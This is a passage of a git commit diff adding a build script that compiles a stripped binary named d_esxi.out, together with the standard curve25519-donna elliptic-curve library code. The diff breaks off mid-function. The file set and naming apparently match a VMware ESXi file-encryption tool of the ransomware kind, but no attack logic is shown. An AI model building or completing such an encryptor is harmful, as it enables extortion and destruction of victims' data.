Initial Commit
This commit is contained in:
parent
824876495c
commit
03f2af32b4
|
@ -0,0 +1,2 @@
|
|||
g++ --no-pie main.cpp curve25519-donna.cpp sha256.cpp sosemanuk.cpp -o d_esxi.out
|
||||
strip d_esxi.out
|
|
@ -0,0 +1,856 @@
|
|||
/* Copyright 2008, Google Inc.
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are
|
||||
* met:
|
||||
*
|
||||
* * Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above
|
||||
* copyright notice, this list of conditions and the following disclaimer
|
||||
* in the documentation and/or other materials provided with the
|
||||
* distribution.
|
||||
* * Neither the name of Google Inc. nor the names of its
|
||||
* contributors may be used to endorse or promote products derived from
|
||||
* this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*
|
||||
* curve25519-donna: Curve25519 elliptic curve, public key function
|
||||
*
|
||||
* http://code.google.com/p/curve25519-donna/
|
||||
*
|
||||
* Adam Langley <agl@imperialviolet.org>
|
||||
*
|
||||
* Derived from public domain C code by Daniel J. Bernstein <djb@cr.yp.to>
|
||||
*
|
||||
* More information about curve25519 can be found here
|
||||
* http://cr.yp.to/ecdh.html
|
||||
*
|
||||
* djb's sample implementation of curve25519 is written in a special assembly
|
||||
* language called qhasm and uses the floating point registers.
|
||||
*
|
||||
* This is, almost, a clean room reimplementation from the curve25519 paper. It
|
||||
* uses many of the tricks described therein. Only the crecip function is taken
|
||||
* from the sample implementation. */
|
||||
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
#include "curve25519-donna.h"
|
||||
|
||||
#ifdef _MSC_VER
|
||||
#define inline __inline
|
||||
#endif
|
||||
|
||||
/* Field element representation:
|
||||
*
|
||||
* Field elements are written as an array of signed, 64-bit limbs, least
|
||||
* significant first. The value of the field element is:
|
||||
* x[0] + 2^26·x[1] + x^51·x[2] + 2^102·x[3] + ...
|
||||
*
|
||||
* i.e. the limbs are 26, 25, 26, 25, ... bits wide. */
|
||||
|
||||
/* Sum two numbers: output += in */
|
||||
static void fsum(limb *output, const limb *in) {
|
||||
unsigned i;
|
||||
for (i = 0; i < 10; i += 2) {
|
||||
output[0+i] = output[0+i] + in[0+i];
|
||||
output[1+i] = output[1+i] + in[1+i];
|
||||
}
|
||||
}
|
||||
|
||||
/* Find the difference of two numbers: output = in - output
|
||||
* (note the order of the arguments!). */
|
||||
static void fdifference(limb *output, const limb *in) {
|
||||
unsigned i;
|
||||
for (i = 0; i < 10; ++i) {
|
||||
output[i] = in[i] - output[i];
|
||||
}
|
||||
}
|
||||
|
||||
/* Multiply a number by a scalar: output = in * scalar */
|
||||
static void fscalar_product(limb *output, const limb *in, const limb scalar) {
|
||||
unsigned i;
|
||||
for (i = 0; i < 10; ++i) {
|
||||
output[i] = in[i] * scalar;
|
||||
}
|
||||
}
|
||||
|
||||
/* Multiply two numbers: output = in2 * in
|
||||
*
|
||||
* output must be distinct to both inputs. The inputs are reduced coefficient
|
||||
* form, the output is not.
|
||||
*
|
||||
* output[x] <= 14 * the largest product of the input limbs. */
|
||||
static void fproduct(limb *output, const limb *in2, const limb *in) {
|
||||
output[0] = ((limb) ((s32) in2[0])) * ((s32) in[0]);
|
||||
output[1] = ((limb) ((s32) in2[0])) * ((s32) in[1]) +
|
||||
((limb) ((s32) in2[1])) * ((s32) in[0]);
|
||||
output[2] = 2 * ((limb) ((s32) in2[1])) * ((s32) in[1]) +
|
||||
((limb) ((s32) in2[0])) * ((s32) in[2]) +
|
||||
((limb) ((s32) in2[2])) * ((s32) in[0]);
|
||||
output[3] = ((limb) ((s32) in2[1])) * ((s32) in[2]) +
|
||||
((limb) ((s32) in2[2])) * ((s32) in[1]) +
|
||||
((limb) ((s32) in2[0])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in2[3])) * ((s32) in[0]);
|
||||
output[4] = ((limb) ((s32) in2[2])) * ((s32) in[2]) +
|
||||
2 * (((limb) ((s32) in2[1])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in2[3])) * ((s32) in[1])) +
|
||||
((limb) ((s32) in2[0])) * ((s32) in[4]) +
|
||||
((limb) ((s32) in2[4])) * ((s32) in[0]);
|
||||
output[5] = ((limb) ((s32) in2[2])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in2[3])) * ((s32) in[2]) +
|
||||
((limb) ((s32) in2[1])) * ((s32) in[4]) +
|
||||
((limb) ((s32) in2[4])) * ((s32) in[1]) +
|
||||
((limb) ((s32) in2[0])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in2[5])) * ((s32) in[0]);
|
||||
output[6] = 2 * (((limb) ((s32) in2[3])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in2[1])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in2[5])) * ((s32) in[1])) +
|
||||
((limb) ((s32) in2[2])) * ((s32) in[4]) +
|
||||
((limb) ((s32) in2[4])) * ((s32) in[2]) +
|
||||
((limb) ((s32) in2[0])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in2[6])) * ((s32) in[0]);
|
||||
output[7] = ((limb) ((s32) in2[3])) * ((s32) in[4]) +
|
||||
((limb) ((s32) in2[4])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in2[2])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in2[5])) * ((s32) in[2]) +
|
||||
((limb) ((s32) in2[1])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in2[6])) * ((s32) in[1]) +
|
||||
((limb) ((s32) in2[0])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in2[7])) * ((s32) in[0]);
|
||||
output[8] = ((limb) ((s32) in2[4])) * ((s32) in[4]) +
|
||||
2 * (((limb) ((s32) in2[3])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in2[5])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in2[1])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in2[7])) * ((s32) in[1])) +
|
||||
((limb) ((s32) in2[2])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in2[6])) * ((s32) in[2]) +
|
||||
((limb) ((s32) in2[0])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in2[8])) * ((s32) in[0]);
|
||||
output[9] = ((limb) ((s32) in2[4])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in2[5])) * ((s32) in[4]) +
|
||||
((limb) ((s32) in2[3])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in2[6])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in2[2])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in2[7])) * ((s32) in[2]) +
|
||||
((limb) ((s32) in2[1])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in2[8])) * ((s32) in[1]) +
|
||||
((limb) ((s32) in2[0])) * ((s32) in[9]) +
|
||||
((limb) ((s32) in2[9])) * ((s32) in[0]);
|
||||
output[10] = 2 * (((limb) ((s32) in2[5])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in2[3])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in2[7])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in2[1])) * ((s32) in[9]) +
|
||||
((limb) ((s32) in2[9])) * ((s32) in[1])) +
|
||||
((limb) ((s32) in2[4])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in2[6])) * ((s32) in[4]) +
|
||||
((limb) ((s32) in2[2])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in2[8])) * ((s32) in[2]);
|
||||
output[11] = ((limb) ((s32) in2[5])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in2[6])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in2[4])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in2[7])) * ((s32) in[4]) +
|
||||
((limb) ((s32) in2[3])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in2[8])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in2[2])) * ((s32) in[9]) +
|
||||
((limb) ((s32) in2[9])) * ((s32) in[2]);
|
||||
output[12] = ((limb) ((s32) in2[6])) * ((s32) in[6]) +
|
||||
2 * (((limb) ((s32) in2[5])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in2[7])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in2[3])) * ((s32) in[9]) +
|
||||
((limb) ((s32) in2[9])) * ((s32) in[3])) +
|
||||
((limb) ((s32) in2[4])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in2[8])) * ((s32) in[4]);
|
||||
output[13] = ((limb) ((s32) in2[6])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in2[7])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in2[5])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in2[8])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in2[4])) * ((s32) in[9]) +
|
||||
((limb) ((s32) in2[9])) * ((s32) in[4]);
|
||||
output[14] = 2 * (((limb) ((s32) in2[7])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in2[5])) * ((s32) in[9]) +
|
||||
((limb) ((s32) in2[9])) * ((s32) in[5])) +
|
||||
((limb) ((s32) in2[6])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in2[8])) * ((s32) in[6]);
|
||||
output[15] = ((limb) ((s32) in2[7])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in2[8])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in2[6])) * ((s32) in[9]) +
|
||||
((limb) ((s32) in2[9])) * ((s32) in[6]);
|
||||
output[16] = ((limb) ((s32) in2[8])) * ((s32) in[8]) +
|
||||
2 * (((limb) ((s32) in2[7])) * ((s32) in[9]) +
|
||||
((limb) ((s32) in2[9])) * ((s32) in[7]));
|
||||
output[17] = ((limb) ((s32) in2[8])) * ((s32) in[9]) +
|
||||
((limb) ((s32) in2[9])) * ((s32) in[8]);
|
||||
output[18] = 2 * ((limb) ((s32) in2[9])) * ((s32) in[9]);
|
||||
}
|
||||
|
||||
/* Reduce a long form to a short form by taking the input mod 2^255 - 19.
|
||||
*
|
||||
* On entry: |output[i]| < 14*2^54
|
||||
* On exit: |output[0..8]| < 280*2^54 */
|
||||
static void freduce_degree(limb *output) {
|
||||
/* Each of these shifts and adds ends up multiplying the value by 19.
|
||||
*
|
||||
* For output[0..8], the absolute entry value is < 14*2^54 and we add, at
|
||||
* most, 19*14*2^54 thus, on exit, |output[0..8]| < 280*2^54. */
|
||||
output[8] += output[18] << 4;
|
||||
output[8] += output[18] << 1;
|
||||
output[8] += output[18];
|
||||
output[7] += output[17] << 4;
|
||||
output[7] += output[17] << 1;
|
||||
output[7] += output[17];
|
||||
output[6] += output[16] << 4;
|
||||
output[6] += output[16] << 1;
|
||||
output[6] += output[16];
|
||||
output[5] += output[15] << 4;
|
||||
output[5] += output[15] << 1;
|
||||
output[5] += output[15];
|
||||
output[4] += output[14] << 4;
|
||||
output[4] += output[14] << 1;
|
||||
output[4] += output[14];
|
||||
output[3] += output[13] << 4;
|
||||
output[3] += output[13] << 1;
|
||||
output[3] += output[13];
|
||||
output[2] += output[12] << 4;
|
||||
output[2] += output[12] << 1;
|
||||
output[2] += output[12];
|
||||
output[1] += output[11] << 4;
|
||||
output[1] += output[11] << 1;
|
||||
output[1] += output[11];
|
||||
output[0] += output[10] << 4;
|
||||
output[0] += output[10] << 1;
|
||||
output[0] += output[10];
|
||||
}
|
||||
|
||||
#if (-1 & 3) != 3
|
||||
#error "This code only works on a two's complement system"
|
||||
#endif
|
||||
|
||||
/* return v / 2^26, using only shifts and adds.
|
||||
*
|
||||
* On entry: v can take any value. */
|
||||
static inline limb
|
||||
div_by_2_26(const limb v)
|
||||
{
|
||||
/* High word of v; no shift needed. */
|
||||
const uint32_t highword = (uint32_t) (((uint64_t) v) >> 32);
|
||||
/* Set to all 1s if v was negative; else set to 0s. */
|
||||
const int32_t sign = ((int32_t) highword) >> 31;
|
||||
/* Set to 0x3ffffff if v was negative; else set to 0. */
|
||||
const int32_t roundoff = ((uint32_t) sign) >> 6;
|
||||
/* Should return v / (1<<26) */
|
||||
return (v + roundoff) >> 26;
|
||||
}
|
||||
|
||||
/* return v / (2^25), using only shifts and adds.
|
||||
*
|
||||
* On entry: v can take any value. */
|
||||
static inline limb
|
||||
div_by_2_25(const limb v)
|
||||
{
|
||||
/* High word of v; no shift needed*/
|
||||
const uint32_t highword = (uint32_t) (((uint64_t) v) >> 32);
|
||||
/* Set to all 1s if v was negative; else set to 0s. */
|
||||
const int32_t sign = ((int32_t) highword) >> 31;
|
||||
/* Set to 0x1ffffff if v was negative; else set to 0. */
|
||||
const int32_t roundoff = ((uint32_t) sign) >> 7;
|
||||
/* Should return v / (1<<25) */
|
||||
return (v + roundoff) >> 25;
|
||||
}
|
||||
|
||||
/* Reduce all coefficients of the short form input so that |x| < 2^26.
|
||||
*
|
||||
* On entry: |output[i]| < 280*2^54 */
|
||||
static void freduce_coefficients(limb *output) {
|
||||
unsigned i;
|
||||
|
||||
output[10] = 0;
|
||||
|
||||
for (i = 0; i < 10; i += 2) {
|
||||
limb over = div_by_2_26(output[i]);
|
||||
/* The entry condition (that |output[i]| < 280*2^54) means that over is, at
|
||||
* most, 280*2^28 in the first iteration of this loop. This is added to the
|
||||
* next limb and we can approximate the resulting bound of that limb by
|
||||
* 281*2^54. */
|
||||
output[i] -= over << 26;
|
||||
output[i+1] += over;
|
||||
|
||||
/* For the first iteration, |output[i+1]| < 281*2^54, thus |over| <
|
||||
* 281*2^29. When this is added to the next limb, the resulting bound can
|
||||
* be approximated as 281*2^54.
|
||||
*
|
||||
* For subsequent iterations of the loop, 281*2^54 remains a conservative
|
||||
* bound and no overflow occurs. */
|
||||
over = div_by_2_25(output[i+1]);
|
||||
output[i+1] -= over << 25;
|
||||
output[i+2] += over;
|
||||
}
|
||||
/* Now |output[10]| < 281*2^29 and all other coefficients are reduced. */
|
||||
output[0] += output[10] << 4;
|
||||
output[0] += output[10] << 1;
|
||||
output[0] += output[10];
|
||||
|
||||
output[10] = 0;
|
||||
|
||||
/* Now output[1..9] are reduced, and |output[0]| < 2^26 + 19*281*2^29
|
||||
* So |over| will be no more than 2^16. */
|
||||
{
|
||||
limb over = div_by_2_26(output[0]);
|
||||
output[0] -= over << 26;
|
||||
output[1] += over;
|
||||
}
|
||||
|
||||
/* Now output[0,2..9] are reduced, and |output[1]| < 2^25 + 2^16 < 2^26. The
|
||||
* bound on |output[1]| is sufficient to meet our needs. */
|
||||
}
|
||||
|
||||
/* A helpful wrapper around fproduct: output = in * in2.
|
||||
*
|
||||
* On entry: |in[i]| < 2^27 and |in2[i]| < 2^27.
|
||||
*
|
||||
* output must be distinct to both inputs. The output is reduced degree
|
||||
* (indeed, one need only provide storage for 10 limbs) and |output[i]| < 2^26. */
|
||||
static void
|
||||
fmul(limb *output, const limb *in, const limb *in2) {
|
||||
limb t[19];
|
||||
fproduct(t, in, in2);
|
||||
/* |t[i]| < 14*2^54 */
|
||||
freduce_degree(t);
|
||||
freduce_coefficients(t);
|
||||
/* |t[i]| < 2^26 */
|
||||
memcpy(output, t, sizeof(limb) * 10);
|
||||
}
|
||||
|
||||
/* Square a number: output = in**2
|
||||
*
|
||||
* output must be distinct from the input. The inputs are reduced coefficient
|
||||
* form, the output is not.
|
||||
*
|
||||
* output[x] <= 14 * the largest product of the input limbs. */
|
||||
static void fsquare_inner(limb *output, const limb *in) {
|
||||
output[0] = ((limb) ((s32) in[0])) * ((s32) in[0]);
|
||||
output[1] = 2 * ((limb) ((s32) in[0])) * ((s32) in[1]);
|
||||
output[2] = 2 * (((limb) ((s32) in[1])) * ((s32) in[1]) +
|
||||
((limb) ((s32) in[0])) * ((s32) in[2]));
|
||||
output[3] = 2 * (((limb) ((s32) in[1])) * ((s32) in[2]) +
|
||||
((limb) ((s32) in[0])) * ((s32) in[3]));
|
||||
output[4] = ((limb) ((s32) in[2])) * ((s32) in[2]) +
|
||||
4 * ((limb) ((s32) in[1])) * ((s32) in[3]) +
|
||||
2 * ((limb) ((s32) in[0])) * ((s32) in[4]);
|
||||
output[5] = 2 * (((limb) ((s32) in[2])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in[1])) * ((s32) in[4]) +
|
||||
((limb) ((s32) in[0])) * ((s32) in[5]));
|
||||
output[6] = 2 * (((limb) ((s32) in[3])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in[2])) * ((s32) in[4]) +
|
||||
((limb) ((s32) in[0])) * ((s32) in[6]) +
|
||||
2 * ((limb) ((s32) in[1])) * ((s32) in[5]));
|
||||
output[7] = 2 * (((limb) ((s32) in[3])) * ((s32) in[4]) +
|
||||
((limb) ((s32) in[2])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in[1])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in[0])) * ((s32) in[7]));
|
||||
output[8] = ((limb) ((s32) in[4])) * ((s32) in[4]) +
|
||||
2 * (((limb) ((s32) in[2])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in[0])) * ((s32) in[8]) +
|
||||
2 * (((limb) ((s32) in[1])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in[3])) * ((s32) in[5])));
|
||||
output[9] = 2 * (((limb) ((s32) in[4])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in[3])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in[2])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in[1])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in[0])) * ((s32) in[9]));
|
||||
output[10] = 2 * (((limb) ((s32) in[5])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in[4])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in[2])) * ((s32) in[8]) +
|
||||
2 * (((limb) ((s32) in[3])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in[1])) * ((s32) in[9])));
|
||||
output[11] = 2 * (((limb) ((s32) in[5])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in[4])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in[3])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in[2])) * ((s32) in[9]));
|
||||
output[12] = ((limb) ((s32) in[6])) * ((s32) in[6]) +
|
||||
2 * (((limb) ((s32) in[4])) * ((s32) in[8]) +
|
||||
2 * (((limb) ((s32) in[5])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in[3])) * ((s32) in[9])));
|
||||
output[13] = 2 * (((limb) ((s32) in[6])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in[5])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in[4])) * ((s32) in[9]));
|
||||
output[14] = 2 * (((limb) ((s32) in[7])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in[6])) * ((s32) in[8]) +
|
||||
2 * ((limb) ((s32) in[5])) * ((s32) in[9]));
|
||||
output[15] = 2 * (((limb) ((s32) in[7])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in[6])) * ((s32) in[9]));
|
||||
output[16] = ((limb) ((s32) in[8])) * ((s32) in[8]) +
|
||||
4 * ((limb) ((s32) in[7])) * ((s32) in[9]);
|
||||
output[17] = 2 * ((limb) ((s32) in[8])) * ((s32) in[9]);
|
||||
output[18] = 2 * ((limb) ((s32) in[9])) * ((s32) in[9]);
|
||||
}
|
||||
|
||||
/* fsquare sets output = in^2.
|
||||
*
|
||||
* On entry: The |in| argument is in reduced coefficients form and |in[i]| <
|
||||
* 2^27.
|
||||
*
|
||||
* On exit: The |output| argument is in reduced coefficients form (indeed, one
|
||||
* need only provide storage for 10 limbs) and |out[i]| < 2^26. */
|
||||
static void
|
||||
fsquare(limb *output, const limb *in) {
|
||||
limb t[19];
|
||||
fsquare_inner(t, in);
|
||||
/* |t[i]| < 14*2^54 because the largest product of two limbs will be <
|
||||
* 2^(27+27) and fsquare_inner adds together, at most, 14 of those
|
||||
* products. */
|
||||
freduce_degree(t);
|
||||
freduce_coefficients(t);
|
||||
/* |t[i]| < 2^26 */
|
||||
memcpy(output, t, sizeof(limb) * 10);
|
||||
}
|
||||
|
||||
/* Take a little-endian, 32-byte number and expand it into polynomial form */
|
||||
static void
|
||||
fexpand(limb *output, const u8 *input) {
|
||||
#define F(n,start,shift,mask) \
|
||||
output[n] = ((((limb) input[start + 0]) | \
|
||||
((limb) input[start + 1]) << 8 | \
|
||||
((limb) input[start + 2]) << 16 | \
|
||||
((limb) input[start + 3]) << 24) >> shift) & mask;
|
||||
F(0, 0, 0, 0x3ffffff);
|
||||
F(1, 3, 2, 0x1ffffff);
|
||||
F(2, 6, 3, 0x3ffffff);
|
||||
F(3, 9, 5, 0x1ffffff);
|
||||
F(4, 12, 6, 0x3ffffff);
|
||||
F(5, 16, 0, 0x1ffffff);
|
||||
F(6, 19, 1, 0x3ffffff);
|
||||
F(7, 22, 3, 0x1ffffff);
|
||||
F(8, 25, 4, 0x3ffffff);
|
||||
F(9, 28, 6, 0x1ffffff);
|
||||
#undef F
|
||||
}
|
||||
|
||||
#if (-32 >> 1) != -16
|
||||
#error "This code only works when >> does sign-extension on negative numbers"
|
||||
#endif
|
||||
|
||||
/* s32_eq returns 0xffffffff iff a == b and zero otherwise. */
|
||||
static s32 s32_eq(s32 a, s32 b) {
|
||||
a = ~(a ^ b);
|
||||
a &= a << 16;
|
||||
a &= a << 8;
|
||||
a &= a << 4;
|
||||
a &= a << 2;
|
||||
a &= a << 1;
|
||||
return a >> 31;
|
||||
}
|
||||
|
||||
/* s32_gte returns 0xffffffff if a >= b and zero otherwise, where a and b are
|
||||
* both non-negative. */
|
||||
static s32 s32_gte(s32 a, s32 b) {
|
||||
a -= b;
|
||||
/* a >= 0 iff a >= b. */
|
||||
return ~(a >> 31);
|
||||
}
|
||||
|
||||
/* Take a fully reduced polynomial form number and contract it into a
|
||||
* little-endian, 32-byte array.
|
||||
*
|
||||
* On entry: |input_limbs[i]| < 2^26 */
|
||||
static void
|
||||
fcontract(u8 *output, limb *input_limbs) {
|
||||
int i;
|
||||
int j;
|
||||
s32 input[10];
|
||||
s32 mask;
|
||||
|
||||
/* |input_limbs[i]| < 2^26, so it's valid to convert to an s32. */
|
||||
for (i = 0; i < 10; i++) {
|
||||
input[i] = input_limbs[i];
|
||||
}
|
||||
|
||||
for (j = 0; j < 2; ++j) {
|
||||
for (i = 0; i < 9; ++i) {
|
||||
if ((i & 1) == 1) {
|
||||
/* This calculation is a time-invariant way to make input[i]
|
||||
* non-negative by borrowing from the next-larger limb. */
|
||||
const s32 mask = input[i] >> 31;
|
||||
const s32 carry = -((input[i] & mask) >> 25);
|
||||
input[i] = input[i] + (carry << 25);
|
||||
input[i+1] = input[i+1] - carry;
|
||||
} else {
|
||||
const s32 mask = input[i] >> 31;
|
||||
const s32 carry = -((input[i] & mask) >> 26);
|
||||
input[i] = input[i] + (carry << 26);
|
||||
input[i+1] = input[i+1] - carry;
|
||||
}
|
||||
}
|
||||
|
||||
/* There's no greater limb for input[9] to borrow from, but we can multiply
|
||||
* by 19 and borrow from input[0], which is valid mod 2^255-19. */
|
||||
{
|
||||
const s32 mask = input[9] >> 31;
|
||||
const s32 carry = -((input[9] & mask) >> 25);
|
||||
input[9] = input[9] + (carry << 25);
|
||||
input[0] = input[0] - (carry * 19);
|
||||
}
|
||||
|
||||
/* After the first iteration, input[1..9] are non-negative and fit within
|
||||
* 25 or 26 bits, depending on position. However, input[0] may be
|
||||
* negative. */
|
||||
}
|
||||
|
||||
/* The first borrow-propagation pass above ended with every limb
|
||||
except (possibly) input[0] non-negative.
|
||||
|
||||
If input[0] was negative after the first pass, then it was because of a
|
||||
carry from input[9]. On entry, input[9] < 2^26 so the carry was, at most,
|
||||
one, since (2**26-1) >> 25 = 1. Thus input[0] >= -19.
|
||||
|
||||
In the second pass, each limb is decreased by at most one. Thus the second
|
||||
borrow-propagation pass could only have wrapped around to decrease
|
||||
input[0] again if the first pass left input[0] negative *and* input[1]
|
||||
through input[9] were all zero. In that case, input[1] is now 2^25 - 1,
|
||||
and this last borrow-propagation step will leave input[1] non-negative. */
|
||||
{
|
||||
const s32 mask = input[0] >> 31;
|
||||
const s32 carry = -((input[0] & mask) >> 26);
|
||||
input[0] = input[0] + (carry << 26);
|
||||
input[1] = input[1] - carry;
|
||||
}
|
||||
|
||||
/* All input[i] are now non-negative. However, there might be values between
|
||||
* 2^25 and 2^26 in a limb which is, nominally, 25 bits wide. */
|
||||
for (j = 0; j < 2; j++) {
|
||||
for (i = 0; i < 9; i++) {
|
||||
if ((i & 1) == 1) {
|
||||
const s32 carry = input[i] >> 25;
|
||||
input[i] &= 0x1ffffff;
|
||||
input[i+1] += carry;
|
||||
} else {
|
||||
const s32 carry = input[i] >> 26;
|
||||
input[i] &= 0x3ffffff;
|
||||
input[i+1] += carry;
|
||||
}
|
||||
}
|
||||
|
||||
{
|
||||
const s32 carry = input[9] >> 25;
|
||||
input[9] &= 0x1ffffff;
|
||||
input[0] += 19*carry;
|
||||
}
|
||||
}
|
||||
|
||||
/* If the first carry-chain pass, just above, ended up with a carry from
|
||||
* input[9], and that caused input[0] to be out-of-bounds, then input[0] was
|
||||
* < 2^26 + 2*19, because the carry was, at most, two.
|
||||
*
|
||||
* If the second pass carried from input[9] again then input[0] is < 2*19 and
|
||||
* the input[9] -> input[0] carry didn't push input[0] out of bounds. */
|
||||
|
||||
/* It still remains the case that input might be between 2^255-19 and 2^255.
|
||||
* In this case, input[1..9] must take their maximum value and input[0] must
|
||||
* be >= (2^255-19) & 0x3ffffff, which is 0x3ffffed. */
|
||||
mask = s32_gte(input[0], 0x3ffffed);
|
||||
for (i = 1; i < 10; i++) {
|
||||
if ((i & 1) == 1) {
|
||||
mask &= s32_eq(input[i], 0x1ffffff);
|
||||
} else {
|
||||
mask &= s32_eq(input[i], 0x3ffffff);
|
||||
}
|
||||
}
|
||||
|
||||
/* mask is either 0xffffffff (if input >= 2^255-19) and zero otherwise. Thus
|
||||
* this conditionally subtracts 2^255-19. */
|
||||
input[0] -= mask & 0x3ffffed;
|
||||
|
||||
for (i = 1; i < 10; i++) {
|
||||
if ((i & 1) == 1) {
|
||||
input[i] -= mask & 0x1ffffff;
|
||||
} else {
|
||||
input[i] -= mask & 0x3ffffff;
|
||||
}
|
||||
}
|
||||
|
||||
input[1] <<= 2;
|
||||
input[2] <<= 3;
|
||||
input[3] <<= 5;
|
||||
input[4] <<= 6;
|
||||
input[6] <<= 1;
|
||||
input[7] <<= 3;
|
||||
input[8] <<= 4;
|
||||
input[9] <<= 6;
|
||||
#define F(i, s) \
|
||||
output[s+0] |= input[i] & 0xff; \
|
||||
output[s+1] = (input[i] >> 8) & 0xff; \
|
||||
output[s+2] = (input[i] >> 16) & 0xff; \
|
||||
output[s+3] = (input[i] >> 24) & 0xff;
|
||||
output[0] = 0;
|
||||
output[16] = 0;
|
||||
F(0,0);
|
||||
F(1,3);
|
||||
F(2,6);
|
||||
F(3,9);
|
||||
F(4,12);
|
||||
F(5,16);
|
||||
F(6,19);
|
||||
F(7,22);
|
||||
F(8,25);
|
||||
F(9,28);
|
||||
#undef F
|
||||
}
|
||||
|
||||
/* Input: Q, Q', Q-Q'
|
||||
* Output: 2Q, Q+Q'
|
||||
*
|
||||
* x2 z3: long form
|
||||
* x3 z3: long form
|
||||
* x z: short form, destroyed
|
||||
* xprime zprime: short form, destroyed
|
||||
* qmqp: short form, preserved
|
||||
*
|
||||
* On entry and exit, the absolute value of the limbs of all inputs and outputs
|
||||
* are < 2^26. */
|
||||
static void fmonty(limb *x2, limb *z2, /* output 2Q */
|
||||
limb *x3, limb *z3, /* output Q + Q' */
|
||||
limb *x, limb *z, /* input Q */
|
||||
limb *xprime, limb *zprime, /* input Q' */
|
||||
const limb *qmqp /* input Q - Q' */) {
|
||||
limb origx[10], origxprime[10], zzz[19], xx[19], zz[19], xxprime[19],
|
||||
zzprime[19], zzzprime[19], xxxprime[19];
|
||||
|
||||
memcpy(origx, x, 10 * sizeof(limb));
|
||||
fsum(x, z);
|
||||
/* |x[i]| < 2^27 */
|
||||
fdifference(z, origx); /* does x - z */
|
||||
/* |z[i]| < 2^27 */
|
||||
|
||||
memcpy(origxprime, xprime, sizeof(limb) * 10);
|
||||
fsum(xprime, zprime);
|
||||
/* |xprime[i]| < 2^27 */
|
||||
fdifference(zprime, origxprime);
|
||||
/* |zprime[i]| < 2^27 */
|
||||
fproduct(xxprime, xprime, z);
|
||||
